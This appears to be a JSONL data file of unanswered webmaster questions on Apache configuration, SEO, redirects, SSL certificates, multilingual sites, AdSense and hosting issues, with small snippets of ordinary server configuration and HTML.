{"id":"68655","title":"Apache Redirect to another folder, both within and outside document root","text":"I've recently set up a home web\/media server and having a few difficulties with a few of the settings. It's working fine for serving webpages etc but I've now reorganised the structure of the main document root and it's now playing hard to get. Current structure is: -drive --sites ---live ----siteA ----siteB ----siteC ---dev --media ---films ---series What I'm trying to do is serve siteC when siteA\/siteC is called. For example mydomain.com will present the files that are in siteA, this is fine. SiteB and SiteC do not have their own domains etc and I don't want them to be subfolders of SiteA so what I'd like is for mydomain.com\/siteB to serve up the content that is in siteB and the same with siteC. I'd then like to use the same premise for the media server so myDomain.com\/media will display a directory listing of the files within the media directory. the document root within apache is d:\/sites\/live, I'm then using virtual hosts to determine what happens. This is fine with the standard mydomanA.com or myDomainB.com but not when trying to achieve what I mentioned above. This is one of the attempts: <VirtualHost *:80> DocumentRoot \"D:\/Sites\/Live\/siteA\" ServerName www.mydomain.com\/siteA <Directory \"D:\/Sites\/Live\/siteA\"> Order allow,deny Allow from all AllowOverride All <\/Directory> Another failed attempt using aliases instead: <VirtualHost *:80> DocumentRoot \"D:\/Sites\/Live\/siteA\" ServerName www.mydomain\/siteA <Directory \"D:\/Sites\/Live\/siteA\"> Order allow,deny Allow from all AllowOverride All <\/Directory> Alias \/siteA D:\/sites\/live\/siteA <directory \"D:\/sites\/live\/siteA\"> Order allow,deny AllowOverride All <\/directory> <\/VirtualHost> Thanks for any help, I've been pulling my hair put for the past few hours trying to find a solution. Edited to answer comment. The expected input and output would be along the following: mydomain.com = d:\/sites\/live\/siteA mydomain.com\/siteB = d:\/sites\/live\/siteB mydomain.com\/siteC = d:\/sites\/live\/siteC and the media server would be: mydomain.com\/media = d:\/media"}
{"id":"13914","title":"Effect on Google rankings if my site is down?","text":"What happens to my Google rankings when my site goes down for a short or long period of time?"}
{"id":"15059","title":"IP of my site in the shared hosting got changed and did not reflect yet. what will be the SEO concequence?","text":"> **Possible Duplicate:** > Effect on Google rankings if my site is down? My hosting company changes IP in the range of 6 months... May be either the change the servers or the IP. So for the past 20 hours my site is not loading in my place (India) where as i checked with my friend by that time in Japan. He said that it is loading there. But here it is still not. The hosting company said that it will take max of 24-48 hours for propagation of DNS settings. So at this time when google webmasters and google search bots and google crawl bots access the site what will happen. Will this affect my SEO records in google? like not found or not reachable or network error? Each countries ISP would be updating the dns in their own order so when japan got updated india did not (my service provider is Barthi Broadband (Airtel India)) . I am unable to get into a conclusion. **Besides is this related to Up Stream and Down Stream?**"}
{"id":"19373","title":"What is the tolerable Website Downtime and it's Impact on SEO?","text":"> **Possible Duplicate:** > Effect on Google rankings if my site is down? I'm using hostgator shared hosting for some of my sites and uptime reported by mo.ni.tor.us is in between 97% to 94%. Is it a tolerable range for downtime ? Also i would like to know how much downtime percentage is considered as okay in case of SEO ? I see that most updated blogs needs to have more uptime. But not sure how much downtime factor is considered in case of SEO ?"}
{"id":"52516","title":"Does it make sense to throw a 404 error with PHP?","text":"## Problem Description Hi, The current setting of my **.htaccess** file does not allow any kind of 404 (as far as I know). I mean, it captures every kind of url like `mysite.com\/asfasfasf` then sends it to `index.php?lang=asfasfasf` then index.php 301-redirects to `mysite.com\/en`. Anyway, ## Question I have a gallery page which takes project name as an input, so if a nasty user comes and `types mysite.com\/gallery\/asfasfasf`, I should redirect them to my 404.php page, using php, but how? I think my options are : 1. 301-redirect to location `404.php` 2. 404-redirect to location '404.php' 3. Forget about 404.php, just print \" _project \"asfasfasf\" does not exist._ \" on the gallery page. 4. ?? Which one makes most sense? More importantly, which one is best for SEO ? Thanks for any help!"}
{"id":"17455","title":"When is it worth it to make my URLs \"pretty\"?","text":"We are in 2011, search engines are now using hundreds or thousands of parameters to weight a page. The URL is only one of them, is it still so much of an impact in the search results? People are sharing URLs through URL shortener: short, long, ugly or nice URLs end up in the same way! People also share email by clicking on 'I like this', they don't copy paste URLs anymore, and when I do it and see people doing it, they never comment if an URL is long or short or anything... Is there still a need of having nice URL both for the users and search engines? If my rank on the search engine will change by 0.5% I don't really care... If I will make 2% of my user happy by having nice URLs I don't really care either..."}
{"id":"52518","title":"Clean URLs without PHP file extension","text":"I want to make my URLs clean, for example: `http:\/\/sample.com\/about-me` instead of: `http:\/\/sample.com\/about-me.php` This is my code: RewriteEngine On RewriteBase \/ RewriteCond %{REQUEST_FILENAME}.php -f RewriteRule ^ %{REQUEST_URI}.php But I can still access `http:\/\/sample.com\/about-me.php`. How can I have `http:\/\/sample.com\/about-me`, so `http:\/\/sample.com\/about- me.php` will be permanently redirected to that? I think this technique is good for SEO because canonicalization needs just one URL. If I use two URLs that both can be accessed, I think that's not good for SEO and can make search engines confused, right?"}
{"id":"17109","title":"Seo Calculation Formula?","text":"I am using SeoWebPart which has its own page score. I find many of the things which are useful in SEO calculation like 1. Count Word in h1 tag 2. Count Word in h2 tag 3. Count Word in Title tag 4. Count Word in p tag 5. Total Word in Page 6. Count Word in anchor tag Please suggest a formula which I can use to show you a score for a page. I use this formula now but it's not good: score = ([key word count]) * 100 \/ (total word count)"}
{"id":"3148","title":"Does SSL really matter for most websites?","text":"I've been pretty paranoid about learning to \"do security right\" for this site I'm building (first non-trivial site I've made), and I've noticed something that bothers me: SSL. I've read plenty of security threads here, on StackOverflow, and elsewhere that goes on at length about regenerating session ids after n uses, and how your passwords need to be salted, hashed, and never stored in plain text. I've read plenty about how to detect when a session has been hijacked, by tracking IP addresses, user agents, and by using tracking cookies. What I don't understand is what any of this matters when the website logs you in via a normal HTTP POST and sends your password over the wire in plain text? I understand that all the other methods I listed are needed to reduce your overall exposure, and maybe there are some sites that just don't need that much security anyway, but I guess what I'm asking is: * **When is it ok to not bother with SSL?** Sites like Gmail, your bank, and LinkedIn, I can see having a reason to use SSL, but what makes it ok that sites like Facebook and reddit don't bother (hell, PlentyOfFish even stores your password in plain text and even emails it to you weekly as a reminder!?!)? How concerned should I be with making sure SSL is setup (especially since I'd be starting with a shared host, and I'm being pretty cheap to start)? My site won't hold any particularly personal information, if that helps. If the site becomes a success, I'd seriously look at paying the extra for the added security."}
{"id":"60174","title":"Moving to a new server. What happens to my POP3 email linked with Outlook?","text":"I am moving my web server to another host in a few days and I have a concern about the emails. Currently, I am an Outlook user and instead of visiting the webmail's web server to read my emails, I connected it there. I use POP3 so emails are downloaded form server to my computer and stored locally. When I move to a new host, having the same incoming \/ outgoing server ( mail.domain.com ) (I think this is standard on Cpanel) will I lose my old email from showing in Outlook? I know I can't see them through the \"old\" host, but this is ok. I need to keep them locally and continue with the new host. Is this what happens, or should I do anything to keep my old emails locally and continue with the new ones from the new server?"}
{"id":"4459","title":"Keep Iphone browser from turning numbers into links","text":"I'm writing a very simple page that is supposed to be viewed on mobile devices. While viewing it in the iphone simulator I noticed that the iphone browser automatically turns any number string into a link, supposedly for dialing it directly. Problem is - there are a ton of numbers on my page that LOOK like phone numbers but actually aren't. Is there a way to tell the iphone browser to leave these numbers alone?"}
{"id":"57570","title":"How to drive traffic to your site by making the Facebook experience sticky and viral?","text":"I know some ways: 1. Make them sign up to our app. Every time they do something they post on their wall 2. Make them like our Facebook page. Every time we post something on that Facebook page, it shows up on their wall. That's the 2 method I know. Plain share or plain like seems to have very little viral and sticky value. They share once, and that's it. Most people don't even share. Am I wrong?"}
{"id":"37534","title":"Optimizing data downloaded via 'link' media queries and asynchronous loading","text":"I have a website that tries to make sensible use of media queries and avoid 'expensive' CSS for users of mobile devices. My eventual goal is to make it 'mobile-first' but for now, since it is based on Twitter Bootstrap it isn't. I included some background images (Base64 encoded) and styles that would only apply to \"full-size\" browsers in a separate stylesheet loaded asynchronously via modernizr.load. In Firefox (but not webkit browsers) it makes it so that if you navigate away from the homepage and then return, the content (specifically, all those extras) 'blinks' when it finishes loading...or maybe I should say reloading. If, instead of using modernizr.load, I include that stylesheet via a **_link..._** in the head with a media query attribute will it prevent the data from being downloaded by non-matching browsers (mobile, based on screensize) that it is inapplicable to?"}
{"id":"57497","title":"Use responsive AdsSense unit but only as a banner\/rectangle ad?","text":"I'm using Google AdSense's responsive unit and on load it fits my browser window. The problem is that AdSense decides to fill the relevant space with both Square and Banner\/Rectangle size Ads. I only want Banner size ads. I've tried putting the Ad in a container that only has a height of 60px but it will still load the square size ads. How do I tell AdSense I only want Banner\/Rectangle size Ads?"}
{"id":"36244","title":"How to make Google recognize language for a multilingual website?","text":"A few weeks ago I implemented a translation functionality for my company website. The website now offers content in french and English and I took the time to look on various guides on the internet on methods how this can be done in a friendly way so that my rankings would not be affected as a result. Here is what I did: * I did set a response header: `Content-Language:en` and `Content-Language:fr` * My URLs are formatted as: `www.website.com\/en\/...` and `www.website.com\/fr\/...` * My HTML tag is set with a lang attribute: `<html lang=\"en\">` and `<html lang=\"fr\">` * `<link rel=\"alternate\" hreflang=\"en\" href=\"EnglishPageUrl\">` on French pages. * `<link rel=\"alternate\" hreflang=\"fr\" href=\"frenchPageUrl\">` on English pages. But Google keeps referring to some English pages when I'm doing a search on Google.fr, knowing that the website was first only available in English. Is that normal? Do I have to wait still, it has been now almost one month, I thought it would be okay...? Thank you."}
{"id":"955","title":"Are there any scripts to integrate social networking site's chat and posting features into a webpage","text":"Are there any scripts to integrate social networking site's chat and posting features into a webpage using PHP or JS... for example a section with Facebook chat, a section to post to twitter and maybe even YouTube comments."}
{"id":"53323","title":"Google-bot sees “Sorry, we have no imagery here” on pages with Google Maps","text":"I have a site with Google Maps on most of the pages. When inspecting content keywords in Google Webmaster tools, content keywords identified by Google-bot for the site include \"imagery\", \"sorry\" and \"here\". These turn out to be part of an error message returned by Google Maps: \"Sorry, we have no imagery here\". I cannot reproduce this error with normal clients, nor does \"fetch as Google\" show it. The problem is presumably that Google-bot tries to execute some of the Google Maps Javascript but then shoots itself on the foot and records the error message. A Google search for \"Sorry, we have no imagery here\" shows that this problem is endemic to sites across the internet, including Yelp and many others. I'd like to convince Google that my site is not about imagery and being sorry, but I'd also like to keep the maps in place. I guess one option would be to transition to static maps, but that's not a great alternative. There's some related discussion on Webmaster World, no resolution."}
{"id":"46771","title":"Register a .ca domain from the US -- proxy service","text":"we ara a US-based business and interested in registering a .ca domain. I understand the Canadian Presence Requirements for Registrants - CIRA (www.cira.ca\/assets\/Documents\/Legal\/Registrants\/CPR.pdf). This questions isn't about restrictions, it is about getting around restrictions. What practical options are available for us to make this happen?"}
{"id":"25655","title":"a good licence for a CMS?","text":"Going over quite a bit of Open Source licenses on opensource.org I am still not very clear which one I should aim for. What I want the license to do is the following. 1. Open Source license 2. Initial Developer(s)\/Contributer(s) are to be credited and all copyright notices, credit notices as well as trademark and\/or patten notices to remain in the \"Source Code\" and in no way may be altered. 3. Any software based of original \"Source Code\" are to be licensed under the same license as the original source and all source code \"must\" be available to end-user. Also any copy or re-distribution and\/or fork must contain original copyright notices by Initial Developer(s)\/Contributer(s) 4. The license is royalty-free for non-commercial use, non-profit organization use and \/or any personal use. 5. The source code may be licensed under commercial license for commercial use, but must be done so with first acknowledge the Original Developer and for royalty. Even so any commercial license \"may not\" prevent the Initial Developer from continuing of licensing, development and distribution of \"original Source Code\" for personal, non-commercial and non-profit use under the original license and without any fee. 6. Commercial license can't and shall not effect or hold any of \"original Source Code\" that may prevent the re-use of the original \"Source Code\" by 3rd party developers, re-distributer and or forked projects. 7. The license applies internationally I wish to allow the use of the software for commercial\/small-business use but for a small royalty. However I do not want to get screwed into having that commercial institution the \"sole\" holder of the \"original Source Code\". I still need to make sure I the Initial Developer and any Contributers retain the \"source code\" as there own and not any 3rd party. So what would be the best suggestions for a license close to the 7 points that I made."}
{"id":"24865","title":"What should I do to notify Google of a switch from \".php\" to extension-free URL's?","text":"I've implemented a simple mod-rewrite rule that internally rewrites urls without a file extension (that are not directories) to .php files and removed the .php extension from all our internal links. I've also updated the sitemap with the extensionless urls. However, the urls in Google's index obviously still have the extension. 1. Will Google crawl the site or download the sitemap and update its index automatically with the extensionless urls? 2. Should I be implementing a 301 redirect from .php to extensionless urls? At the moment, both url's will resolve to the same page which could be seen as duplicate content. 3. Should I get a list of all the urls in Google's index which have extensions and submit a request to have them deleted via Webmaster Tools?"}
{"id":"21810","title":"Should I change from reset.css to normalize.css","text":"I have been using css reset for quite a while now in different project, and I am quite pleased with it, always get good results. One thing that always bothered me was that I needed to overwrite a lot of elements, for example clearing the margin of an H2, and later on adding the margin again. Another thing is that a lot of elements are cleared that I do not even use. Now I have been reading a lot about normalize.css, I also see that the HTML5 Boilerplate uses this as it's default stylesheet. It does not reset everything, it just compensates for browser differences. If I compare the reset with the normalize I see that in the normalize a lot is left out. One big difference are the headings and paragraphs, they are left untouched in normalize. For all the rest of the elements I see that they are set to specific margins and padding. So actually the way I see it is as follow: _Reset.css: You begin from 0 and then build your way up. Add your margin, add your styles. You add this above your project and you are ready to go. Minor browser inconsistencies you add along the way._ _Normalize.css: You begin somewhere is the middle which is a consistent state in all browsers, and work your way up or down (adding or removing margin\/padding) by changing the sheet itself._ Now in the end of your project, you end up pretty much in the same place. Differences I can think of are: * with normalize you have a stylesheet that is more optimized than the one with the reset as you only have what you need. * You can't just copy and paste the normalize sheet from one project to another, it is most of the time custom made for a particular project. In the end, I think you are better of with the normalize script, as it has a smaller footprint. So is this correct or am I looking at this the wrong way and just stick with the normal reset."}
{"id":"24868","title":"Will repositioning my code get my site penalised by google?","text":"We have a website that has nice rankings in the Google SERPs for keywords which aren't in the meta description. As a result, Google assembles a text to display on the SERPs from the website top-down. Since a form is the first thing displayed on the page, the text is completely scrambled. This would be the code for the page: <div id=\"form\">...<\/div> <div id=\"content\">...<\/div> What we want to do is to change the order of the divs so Google can assemble a text from #content instead of #form, but still show the same order using css: <div id=\"content\" style=\"margin-top: 200px\">...<\/div> <div id=\"form\" style=\"position: absolute; height: 200px; top: 0;\">...<\/div> Would this work and more importantly: would this be penalized?"}
{"id":"27236","title":"SEO SERP Google Chrome App","text":"Has anyone installed 'SEO SERP' from Omiod app in chrome? If so, how accurate would you rate it? So far I'm thinking its pretty good, but I have never tried any paid versions."}
{"id":"39917","title":"Measure highest number of simultaneous visitors via Google Analytics","text":"Is it possible to find out via Google Analytics the highest number of simultaneous visitors at any given time?"}
{"id":"15927","title":"What Ranking Factors Are Used For International Search?","text":"Google.com vs Google.ca vs Google.co.uk (etc) all rank their results differently. The intention is to return more locally-relevant content. **What factors, other than the ones below, are used to determine local relevancy?** I already know the TLD (.com, .ca, etc) and likely the server IP address is used but there has to be more as this would not explain some search results I noticed this week. Particularly, I see a US-based site ranking #3 for some keywords on Google.com, ranking #5 on Google.ca and not ranking within the first pages on Google.co.uk. On Google.com it outranks a Australian site which outranks it on Google.ca. The site itself is relevant for all English-speaking locations and it being outranked by sites from different regions on different Google TLDs (but not ones from the same region as the TLD)."}
{"id":"65605","title":"When is a URL encoded?","text":"When there are spaces in a URL like http:\/\/example.com\/this is not url enocoded it is obvious, that the URL will end up as http:\/\/example.com\/this%20is%20not%20url%20encoded When and what will encode my URL? * Should links that I create to my URL be encoded in my HTML documents? * Does the browser do the encoding? * Does the server do the encoding?"}
{"id":"20146","title":"Hosting for international audience","text":"Is it a better option to host a web portal in the US if my target audience is likely to be international or cross-continent? Likewise, if I were to target region specific audience, I should find hosting that is located in the region? BTW, how do I find out where the servers of the web hosting companies are located physically (given the question that I am raising here)? Thanks in advance"}
{"id":"20147","title":"Why isn't a newly purchased domain showing up in Google searches?","text":"The domain ... `http:\/\/trello.com` ... was purchased a few months ago and is now live as of a week or so ago -- and has been linked from several prominent places on the web -- but searching for the word `trello` produces absolutely no results from `http:\/\/trello.com` in Google whatsoever. We know that most of the pages are being indexed by google, for two reasons: 1. Google Webmaster Tools says the site is fine 2. If you do a search including site:trello.com in the search terms, plenty of pages come up Is it because most of the page content on the site is generated on the fly via JavaScript, or because there needs to be some kind of special support for the googlebot agent? We're at a loss to explain why this is happening."}
{"id":"37595","title":"Benchmark for website speed optimization","text":"I working on website speed optimization. I mostly used 3 tools for analyzing speed of optimization. Speed analyzing Tools: * Google pagespeed tool * Yslow Firefox extenstion * Web Page Performance Test I am measuring performance using above tool and benchmark result as below like before and after. **Before optimization :** * Google PageSpeed Insights score : 53\/100 * Web Page Performance Test : 55\/100 (First View : 10.710s, Repeat view : 6.387s ) * Yahoo Overall performance score : 68 **Stage 1 After optimization :** * Google PageSpeed Insights score : 88\/100 * Web Page Performance Test : 88\/100 (First View : 6.733s, Repeat view : 1.908s ) * Yahoo Overall performance score : 80 **My question is ?** * Am i doing correct way ? * What is the best way of benchmark for speed optimization ? * Is there any standard ? * Is there any much better tool for analyzing speed ?"}
{"id":"65601","title":"How can I recover my site's search engine ranking after another site copied my content?","text":"A few days ago I noticed that I lost half the traffic for my website overnight. Investigation showed that someone had made a perfect clone of my website (more info here), and that Google in its infinite wisdom had decided that my site is no longer relevant and replaced my site with the clone site on the first page of its search results! I filed a DCMA complaint, and the offending site was delisted from search results a few days later. However, I'm no longer on the front page of Google. In fact, for my main keywords, my main site is no longer in the search results at all. One of my \"long tail\" pages shows up on the 2nd or 3rd page, but the main homepage no longer shows up. Will this be resolved in time, or is there something else I need to do about it? EDIT: In response to the query of \"maybe you just lost ranking for some other reason\": I figured out that the clone is implemented as a a proxy so I can see its traffic as well. My site's traffic dropped the exact same day the clone started getting traffic, i.e. when it started showing up in Google's search results. The question of \"Why was this site even listed by Google\" is a very valid question, and it would seem that Google is not so clever as they say they are, but that seems off-topic. At the moment I'm just trying to get my old position back."}
{"id":"19422","title":"Using AdSense to show ads to logged-in users","text":"I know that you can grant authorization permissions to Google AdSense so that it can 'log in' and see what other logged in users can see (e.g. in a private forum), so that the ads it displays are better targetted. Extending this principle further: I am making a site which will show completely different content for each individual user (i.e. _not_ 'common' content like a forum in which everybody sees essentially the same thing). You could think of this content as similar to the way each Facebook user has a different news feed, but it is the 'same' page. Complicating things further, the URLs for this site will be simple, e.g. '\/home' and '\/somepage', and will _not_ usually include unique identifiers to differentiate between users (e.g. '\/home?user=32i42'). **My questions are:** * Is creating an account purely for AdSense to log in to the site with worth it in this case, seeing as it will be seeing it's own 'personalized' version and not any other user's? * More importantly: is that against the Google AdSense Terms of Service? (I can't seem to figure that one out) * How would you go about this problem?"}
{"id":"16850","title":"Facebook Like button warning, but prevents sharing","text":"I added a FB Like button to my Wordpress template, and when I click Like, I receive an error, which pops up and says: There was an error liking the page. If you are the page owner, please try running your page through the linter on the Facebook devsite (https:\/\/developers.facebook.com\/tools\/lint\/) and fixing any errors. The Lint Checker (now) gives no Error or Warnings, after I removed a duplicate og:description tag. Why is it not working?"}
{"id":"44730","title":"Back link not showing","text":"For this website http:\/\/www.it.uu.se\/workshop\/infinity2010\/, there is a link from here http:\/\/atva10.comp.nus.edu.sg\/assocEvents.html but when searching in Google. link:http:\/\/www.it.uu.se\/workshop\/infinity2010\/ It does not show up that page, what's the problem? (The link has been there at least 2 years)"}
{"id":"12165","title":"Why do porn websites link to my site?","text":"I have a webiste about Bolivia and theirs destinations. This project is hosted on GoDaddy and have been modified by many differents teams... I do not understand why sometimes the most relevant querries are 'perfectgirls.net' and other words relative to porn ? Why some porn website have some links to my site ? I just present beautifull places, nothing about porn.. I think that this is automatic bot crawlink the web, isn t it ?"}
{"id":"6330","title":"How do I add a favicon to my website?","text":"What markup is the modern standard for adding a favicon to my site? What is the standard image format and size?"}
{"id":"6333","title":"Multi language switch links translated or in current language?","text":"Should I do: A: translate the language links in the current language: (if I am on the English version) <a href=\"en\/\">English<\/a> | <a href=\"it\/\">Italian<\/a> | <a href=\"fr\/\">French B: the links in the native languages: <a href=\"en\/\">English<\/a> | <a href=\"it\/\">Italiano<\/a> | <a href=\"fr\/\">Français<\/a> From a user perspective option B is obvious, but what about SEO?"}
{"id":"28101","title":"Can you host Magento on Heroku?","text":"I have Magento running on Heroku but the DB is on Dreamhost (because Heroku doesn't host mySQL). I get a Database connection error from Magento whenever I try to connect. Anyone ever done this?"}
{"id":"42896","title":"Server responding to request differnetly","text":" I believe as above hosted locally , the long green delay is actually the home page of the website. May i know what causes those delay? Magento is a very CPU intense monster, is it due to the fact that its waiting for the server to respond due to lack of cpu power? I did load test on different website before to study how server works, as i'm new to server hosting and optimizing. I personally use amazon and i understand amazon has their limit, i tested my server stress test and it would react in 0.5 seconds with 30 concurrent users, Micro instance, apache, varnish , compressed js and img, images from S3(CDN) and the load time only shoots up from 0.5 seconds to 1min ! at 31st concurrent user. Why does the shoot happens? It feels like it cannot take users when its stressed. Where as the other site that i tested , the image above is one example , no matter how stress it is , from 20-50+ users, its load time is 1min(from overseas connection) locally i tested its 30 seconds. I did check on other website too, some are hosted on share hosting, and they are able to take stress and function when its overloaded. It just react in 1min, for my case, amazon, it can even hit 3-4 mins when its stressed. May i know how do i have this \"Maxinum load time no matter how stress it is, not NO Matter but to a larger extend\" What should i be looking at. *PS if i increase my Micro instance to Small instance, it can take only an additional 10 concurrent users, which isnt a big difference but when it come to cost, its a hell lots of a difference. Any other knowledge would be totally appreciative, i'm here to learn and to help in future. Thank you for this platform. Regards, Jonathan"}
{"id":"59723","title":"Are MX records independent of A records?","text":"I recently switched a domain's email service to Google. The only records I changed in the name server was the MX records, pointing to Google. To my surprise, emails sent to and from Google Apps work just fine. So is there a point in changing the A, CNAME, and other records in the name server for a domain if the only use of the domain is email?"}
{"id":"59893","title":"Set of icons available to download freely","text":"I need to use icons in my website. It has facility to add, edit, search, review etc. So I need to use Icons for the same. I tried googling but not getting it as expected. Can someone help me to get a set of Icon (free, not paid) for all basic functionality for dynamic website."}
{"id":"45025","title":"Can SSL Wildcards have multiple\/nested levels of wildcard?","text":"I know that an SSL wildcard certificate (`*.example.org`) can be used to support many names under the domain (`a.example.org`, `b.example.org`, `c.example.org`). I also know that the * is only good for matching a single level of name. That is, `*.example.org` will not work on `a.b.example.org`. What if I used a certificate with the name _._.example.org? I'd like to build a certificate with the following name configuration: CN=example.org subjectAltName=DNS:example.org, DNS:*.example.org, DNS:*.*.example.org, DNS:*.*.*.example.org I've tried building a few like this as self-signed certificates, but I've not had good results. For example, chrome tells me \"Server's certificate does not match the URL.\" Is it possible to have nested wildcards in a certificate, or do the popular browsers not support this? **edit** I believe it's possible to build a cert like this: I've done so with OpenSSL. It just looks like browsers understand it. I was hoping for confirmation of that, or if I'm lucky, a \"here's how you do it.\""}
{"id":"45027","title":"Google does not find\/ignore alternate hreflang content","text":"I have a problem with Google indexing our site in different languages using the alternate hreflang. It's a forum and every thread is translated in the background and based on the language, the user choose in his options, the original text is replaced by the one in the right language. So every User can write in his own language and the other users can still read it (somehow - I know it's not the best solution, but it was not my idea :D ) So - now we have the forum in many languages and of course we want the users form every language to find us via google. So i created some php-files, which get the right language by php and not by javascript. So the head in the original file looks like this: <link rel=\"alternate\" hreflang=\"de\" href=\"myurl\/printthread.php?t=2967&lang=de\"\/> <link rel=\"alternate\" hreflang=\"en\" href=\"myurl\/printthread.php?t=2967&lang=en\"\/> <link rel=\"alternate\" hreflang=\"fr\" href=\"myurl\/printthread.php?t=2967&lang=fr\"\/> <link rel=\"alternate\" hreflang=\"es\" href=\"myurl\/printthread.php?t=2967&lang=es\"\/> On this pages the language is shown in the right language based on the url not on the users choice so that google can index it. But you guess it - For some reason it does not work. Google only saves the content from the original file - not the alternate files for the different languages :( You have any idea?"}
{"id":"27882","title":"use subdomain on different host","text":"I want to accomplish something that I thought was simple. My wish is as follows: I have a domainname with hosting, a WordPress multisite (with subfolder setup) installed and running: gangleri.nl. I have another domain _at another host and without hosting_ : monas.nl I created a subdomain on gangleri.nl: monas.gangleri.nl and the domain redirects to that subdomain. Now what I want is to have monas.nl act like a website, not a website in a subdomain. I would like to have post urls as in monas.nl\/posttitle. I first thought to do this with the DNS settings of Monas.nl. I now have an URL forward, CURL is not what I want and I did not manage to get A-records or CNAMEs to work. I tried using the htaccess file of the WP installation in monas.gangleri.nl. I tried 301, rewrite and whatnot, but also without success. Meanwhile, I have been reading so much that I no longer have a clue what to do. A-record doesn't sound probable, since I have no IP for the subdomain, so an A-record would point to gangleri.nl rather than using the subdomain. Also I have no idea if I should do something in the DNS settings of gangleri.nl or monas.nl, both, one of them and something somewhere else. I have the idea that I've tried everything, but the more I try and read about it, the less I can get my head around. People talking about A-records to subdomains while I can only use IPs, CNAME settings that my host doesn't support or something. Could somebody tell me if what I want is possible and if so, take me by the hand and guide me through it?"}
{"id":"33842","title":"how long after a 301 redirect can i cancel my old site","text":"I have .com website which I don't want to use anymore (for a variety of reasons). I want to redirect the entire site to a .net domain with a 301 redirect. After how long can I cancel my .com domain entirely? What will happen to the linkjuice added by 3rd party websites which point to the .com domain? Will this be transferred to the .net domain?"}
{"id":"17115","title":"Online E-Commerce Solutions - What To Look For?","text":"In Today's market many shopping carts and ecommerce solutions are available on the web. What are the essential features someone looking to start an online store should look for before choosing software?"}
{"id":"20752","title":"Small, fast shopping cart setup","text":"> **Possible Duplicate:** > Online E-Commerce Solutions - What To Look For? I'm looking for an open source shopping cart solution that's simple and easy to setup. The requirements are: * Quick setup for someone familiar with *nix webservers. * Checkout via PayPal (other payment methods not needed). * Customers should not have to create an account to make a purchase. * At least a minimal level of inventory control. * Ability to print\/export a list of orders in compact form. Any recommendations for something I should try? Ability to get it up and working quickly is really my priority right now; if it's not ideal, it can be replaced (or, as I'm looking for open source, I can adapt it to fit the requirements better) at a later time. **Edit:** Really what I'm looking for is simplicity. This will be for a small local business, and the orders will consist of 1-10 items that are being delivered by a driver who needs a simple list of what each customer received when making delivery. Looking like a giant online computer\/electronics\/etc. store is definitely not a desirable quality. The simpler the interface presented to customers (who are used to purchasing through dumb web forms and paying COD), the better."}
{"id":"53649","title":"Firefox doesn't render one character with imported font (Chrome does it well)","text":"I've run into an issue with Firefox. Check out the example: http:\/\/codepen.io\/anon\/pen\/BuLhF. Basically, with the font _Poiret One_ , embedded with Google fonts, the letter `ō` doesn't render properly in Firefox but in Chrome it is ok. Edit: Screenshot: https:\/\/docs.google.com\/file\/d\/0B58rXlxeBUsIMXo1MnJrRFczbFk\/edit?usp=sharing. Moreover, on Virtual Machine Ubuntu, Firefox is displaying it ok. The host Windows 7 has this problem."}
{"id":"53502","title":"Image appears differently in Safari, Firefox, and Chrome","text":" This is a screenshot of the same image file on my website (viewing the image itself), in Firefox on the left, Safari in the middle and Chrome on the right. It appears as if Chrome has a more blue color in the image. Why is this? * (Chrome Mac 28.0.1500.95) * (Firefox 23.0 Mac) * (Safari Version 5.1.10 (6534.59.10) Mac)"}
{"id":"21760","title":"Is there a penalty in link building?","text":"If I have a satellite site with content constantly renewed, and within each new content, there is a link to a target URL, for passing link juice. Will I get a penalty from Google for that?"}
{"id":"63156","title":"No description for any page on the website is available in Google despite robots.txt allowing crawling","text":"I seem to have the weirdest issue with Search Engine Optimization, and I asked the IT folks at my university, I asked people on Joomla forums and I am trying to sort this issue out using Google Webmaster Tools for more than 2 months to little avail. I want to know if I have some blatantly wrong configuration somewhere that is causing search engines to be unable to index this site. I noticed a similar issue with another website I searched for online (ECEGSA - The University of British Columbia at gsa.ece.ubc.ca), making me believe this might be a concern that people might be looking an answer for. Here are the details: The website in question is: http:\/\/gsa.ece.umd.edu\/. It runs using Joomla 2.5.x (latest). The site was up since around mid December of 2013, and I noticed right from the get go that the site was not being indexed correctly on Google. Specifically I see the following message when I search for the website on Google: A description for this result is not available because of this site's robots.txt – learn more. The thing is in December till around March I used the default Joomla robots.txt file which is: User-agent: * Disallow: \/administrator\/ Disallow: \/cache\/ Disallow: \/cli\/ Disallow: \/components\/ Disallow: \/images\/ Disallow: \/includes\/ Disallow: \/installation\/ Disallow: \/language\/ Disallow: \/libraries\/ Disallow: \/logs\/ Disallow: \/media\/ Disallow: \/modules\/ Disallow: \/plugins\/ Disallow: \/templates\/ Disallow: \/tmp\/ Nothing there should stop Google from searching my website. And even more confusingly, when I go to Google Webmaster tools, under \"Blocked URLs\" tab, when I try many of the links on the site, they are all shown up as \"Allowed\". I then tried adding a sitemap, putting it in the robots.txt file. That did not help. Same exact search result, same behavior in the \"Blocked URLs\" tab on the webmaster tools. Now additionally, the \"sitemaps\" tab says for several links an error saying \"URL is robotted out\". I tried those exact links in the \"Blocked URLs\" and they are allowed! I then tried deleting the robots.txt file. No use. Same exact problem. Here is an example screenshot from Google's Webmaster Tools:  At this point I cannot give a rational explanation to why this is happening and neither can anyone in the IT department here. No one on Joomla forums can seem to understand what is going on. Based on what I explained, does it seem that I have somehow set a setting in the robots.txt or in .htaccess or somewhere else, incorrectly?"}
{"id":"55726","title":"How to fix Google Apps for Business reverification failures?","text":"We have one member of the company using Google Apps for Business so he can use the Google SMTP server with domain email. We verified him as an owner of the domain by uploading an HTML file to the root of the website. We clicked the provided link and were told that he was successfully verified. But now, on the verification page inside Webmaster tools. I see a long list of failed verification attempts. The method column says either \"Google Analytics\" or \"Meta tag\". When we log into Google Apps for Business, it says \"Domain is verified. Mail set up is pending.\" We aren't going to set up the email because we aren't going to move all users to Google Apps. Is there somewhere in Google Apps to specify what verification method to use? Or is Google going to keep trying every single day to re-verify by the other methods?"}
{"id":"30139","title":"Button to +1 both website and Google Plus page?","text":"> **Possible Duplicate:** > Connecting +1s on a Google+ Business Page and a webpage People can +1 both our website (ie. +1ing the URL of its home page) and our Google Plus business page. It would be desirable to link these +1s, so that +1ing our website added to the number of +1s for our Google Plus page, and vice versa. Is this possible? Is there any way to add a button to our website (possibly using some hand-written javascript) which +1s both? # Related questions A similar question's been asked at Connecting +1s on a Google+ Business Page and a webpage and I see others - like Google Plus button versus page's pluses - are being closed as 'exact duplicates' of this. However please note that the accepted answer to the former question appears to be incorrect, as I point out in my comments on it. Hence why I'm creating this new question to give this issue a chance of achieving an appropriate answer."}
